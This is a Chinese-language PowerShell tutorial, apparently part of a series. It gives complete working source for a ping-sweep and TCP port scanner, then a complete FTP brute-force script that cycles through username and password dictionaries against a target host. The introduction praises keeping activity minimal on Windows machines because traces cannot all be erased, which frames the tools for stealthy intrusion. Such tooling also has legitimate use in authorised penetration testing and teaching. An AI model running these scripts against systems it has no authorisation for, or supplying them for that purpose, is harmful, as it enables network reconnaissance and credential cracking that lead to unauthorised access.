powershell(5)-端口扫描与服务爆破

端口扫描

这里我们就开始了我们的端口扫描器的构建, 这里很多朋友肯定会说, 端口扫描不是有很多已经很成熟的脚本了么为什么还要去学习呢？那么我们首先想一想目前的一些优秀的端口扫描都是Python或者Go语言等进行编写的, 对于我们安全测试人员来说并不是最佳选择。因为对于Windows系统Python之类的环境并不是每一台电脑都有, 但Powershell不同我们不需要进行过多的操作即可进行丰富的操作, 这也是我们作为专业安全人员的基本素养: 尽可能进行少的操作, 因为你无法删除你所有的行踪, 物质守恒定律—-没有人能确保自己不留任何痕迹, 那么越少的操作无疑是我们需要思考的。
端口扫描脚本已经直接放在了下面, 同样大部分的注释等已经写的很清晰, 本脚本涉及到的几个点：

  1. 脚本参数的问题的解决, 可以看到我们的参数获取用了CmdletBinding的方法，这样我们可以设置参数的形式就有很多了, 比如我们需要一个参数是否可选，和参数的位置等
  2. 主机存活检测使用Ping来检测(ICMP)
  3. 端口扫描调用.NET的Socket来进行端口连接，如果连接建立代表端口连接成功
  1. function PortScan {
  2. <#
  3. .DESCRIPTION
  4. 端口扫描
  6. .PARAMETER StartAddress
  7. Ip开始地址 Range
  9. .PARAMETER EndAddress
  10. Ip结束地址 Range
  12. .PARAMETER GetHost
  13. 解析获取主机名 HostName
  15. .PARAMETER ScanPort
  16. 端口扫描参数, 若不打开就是主机存活的探测 PortScan
  18. .PARAMETER Ports
  19. 需要扫描的端口，默认有: 21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,
  20.     1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,
  21.     8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030
  23. .PARAMETER TimeOut
  24. TimeOut 默认是10s TimeOut 100
  26. .EXAMPLE
  27. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254
  29. .EXAMPLE
  30. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost
  32. .EXAMPLE
  33. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort
  35. .EXAMPLE
  36. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -TimeOut 500
  38. .EXAMPLE
  39. PS > PortScan -StartAddress 172.16.50.1 -EndAddress 172.16.50.254 -GetHost -ScanPort -Port 80
  41. #>
  42.     [CmdletBinding()] Param(
  43.         [parameter(Mandatory = $true, Position = 0)]
  44.         [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
  45.         [string]
  46.         $StartAddress,
  48.         [parameter(Mandatory = $true, Position = 1)]
  49.         [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
  50.         [string]
  51.         $EndAddress,
  53.         [switch]
  54.         $GetHost,
  56.         [switch]
  57.         $ScanPort,
  59.         [int[]]
  60.         $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030),
  62.         [int]
  63.         $TimeOut = 100
  64.     )  
  65.     Begin {
  66.         # 开始之前先调用Ping组件
  67.         $ping = New-Object System.Net.Networkinformation.Ping
  68.     }
  69.     Process {
  70.         # 四层循环获取解析IP地址
  71.         foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
  72.             foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
  73.             foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
  74.                 foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
  75.                     # write-progress用于在shell界面显示一个进度条
  76.                     write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100)
  77.                     # 通过Ping命令发送ICMP包探测主机是否存活
  78.                     $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut)
  79.                     if($pingStatus.Status -eq "Success") {
  80.                         if($GetHost) {
  81.                             # 本分支主要解决主机名的问题
  82.                             # write-progress用于在shell界面显示一个进度条
  83.                             write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1
  84.                             # 获取主机名
  85.                             $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null)
  86.                         }
  87.                         if($ScanPort) {
  88.                             # 定义一个开放的端口数组, 存储开放的端口
  89.                             $openPorts = @()
  90.                             for($i = 1; $i -le $ports.Count;$i++) {
  91.                                 $port = $Ports[($i-1)]
  92.                                 # write-progress用于在shell界面显示一个进度条
  93.                                 write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2
  94.                                 # 定义一个Tcp的客户端
  95.                                 $client = New-Object System.Net.Sockets.TcpClient
  96.                                 # 开始连接
  97.                                 $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
  98.                                 if($client.Connected) {
  99.                                     # 加入开放的端口
  100.                                     $openPorts += $port
  101.                                 } else {
  102.                                 # 等待, 这里用于网络延迟, 防止因为网络原因而没有判断到端口的开放而错失很多机会
  103.                                     Start-Sleep -Milli $TimeOut
  104.                                     if($client.Connected) {
  105.                                         $openPorts += $port
  106.                                     }
  107.                                 }
  108.                                 $client.Close()
  109.                             }
  110.                         }
  111.                         if($GetHost) {
  112.                             # 获取主机名
  113.                             $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName
  114.                         }
  115.                         # 返回对象-哈希表
  116.                         New-Object PSObject -Property @{
  117.                         IPAddress = "$a.$b.$c.$d";
  118.                         HostName = $hostName;
  119.                         Ports = $openPorts
  120.                         } | Select-Object IPAddress, HostName, Ports
  121.                     }
  122.                 }
  123.             }
  124.             }
  125.         }
  126.     }
  127.     End {
  128.         # 其他脚本运行结束代码
  129.     }
  130. }

我们开看看一个简单的扫描结果:
powershell(5)-端口扫描与服务爆破 - 图1

那么其他扫描模式可自行测试, 可以看到这种扫描是知识单线程模式, 关于多线程的编程我们放在后面再来研究。

服务爆破

那么我们进入到服务爆破的阶段, 那么我们端口扫描之后的一步必然就是进行服务的弱点攻击, 对于一些服务比如21FTP和数据库之类的服务进行爆破是安全测试必经的过程, 那么我们来以FTP服务爆破来举例

  1. function Invoke-BruteForce
  2. {
  3. <#
  5. .DESCRIPTION
  6. FTP服务爆破脚本
  8. .PARAMETER Computername
  9. 主机名参数
  11. .PARAMETER UserList
  12. 用户字典参数
  14. .PARAMETER PasswordList
  15. 密码字典参数
  17. .PARAMETER Service
  18. 服务名参数
  20. .PARAMETER StopOnSuccess
  21. 找到密码时是否退出
  23. .PARAMETER Delay
  24. 爆破时间间隔, 默认为0
  26. .EXAMPLE
  27. PS C:\Users\rootclay\Desktop\powershell> FTP-BruteForce -ComputerName localhost -UserList 
  28.     C:\Users\rootclay\Desktop\powershell\dict\username.txt -PasswordList 
  29.     C:\Users\rootclay\Desktop\powershell\dict\pass.txt -Service ftp -verbose
  31. #>
  32.     [CmdletBinding()] Param(
  33.         [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)]
  34.         [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")]
  35.         [String]
  36.         $ComputerName,
  38.         [Parameter(Position = 1, Mandatory = $true)]
  39.         [Alias('Users')]
  40.         [String]
  41.         $UserList,
  43.         [Parameter(Position = 2, Mandatory = $true)]
  44.         [Alias('Passwords')]
  45.         [String]
  46.         $PasswordList,
  48.         [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("FTP")]
  49.         [String]
  50.         $Service = "FTP",
  52.         [Parameter(Position = 4, Mandatory = $false)]
  53.         [Switch]
  54.         $StopOnSuccess,
  56.         [Parameter(Position = 6, Mandatory = $false)]
  57.         [UInt32]
  58.         $Delay = 0
  59.     )
  60.     Begin {
  61.         # 开始之前相关代码
  62.     }
  64.     Process
  65.     {
  66.         # Write-Verbose用于打印详细信息
  67.         Write-Verbose "Starting Brute-Force and Delay is $Delay."
  69.         # 获取用户名与密码字典
  70.         $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
  71.         $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
  72.         if (!$usernames) { 
  73.             $usernames = $UserList
  74.             Write-Verbose "UserList file does not exist."
  75.             Write-Verbose $usernames
  76.         }
  77.         if (!$passwords) {
  78.             $passwords = $PasswordList
  79.             Write-Verbose "PasswordList file does not exist."
  80.             Write-Verbose $passwords
  81.         }
  83.         # Brute Force FTP
  84.         if ($service -eq "FTP")
  85.         {
  86.             # 机器名的处理：若ftp://开始直接获取名字，若没有直接加上
  87.             if($ComputerName -notMatch "^ftp://")
  88.             {
  89.                 $source = "ftp://" + $ComputerName
  90.             }
  91.             else
  92.             {
  93.                 $source = $ComputerName
  94.             }
  95.             Write-Output "Brute Forcing FTP on $ComputerName"
  97.             :UsernameLoop foreach ($username in $usernames)
  98.             {
  99.                 foreach ($Password in $Passwords)
  100.                 {
  101.                     try
  102.                     {   
  103.                         # 调用.net中的FTP库进行连接
  104.                         $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
  105.                         $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
  107.                         # 通过Verbose输出的信息
  108.                         Write-Verbose "Trying $userName : $password"
  110.                         # 进行认证连接
  111.                         $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password)
  113.                         # 获取返回信息
  114.                         $result = $ftpRequest.GetResponse()
  115.                         $message = $result.BannerMessage + $result.WelcomeMessage
  117.                         # 打印信息到控制台
  118.                         Write-Output "Match $username : $Password"
  119.                         $success = $true
  121.                         # 判断是否要得到结果立刻退出
  122.                         if ($StopOnSuccess)
  123.                         {
  124.                             break UsernameLoop
  125.                         }
  126.                     }
  128.                     catch
  129.                     {
  130.                         $message = $error[0].ToString()
  131.                         $success = $false
  132.                     }
  133.                     # 延时爆破
  134.                     Start-Sleep -Seconds $Delay
  135.                 }
  136.             }
  137.         } 
  138.     }
  140.     End {
  141.         # 其他脚本运行结束代码
  142.     }
  143. }

下面来看看爆破的结果:

powershell(5)-端口扫描与服务爆破 - 图2

如果不加-verbose参数显示是非常清爽的:

powershell(5)-端口扫描与服务爆破 - 图3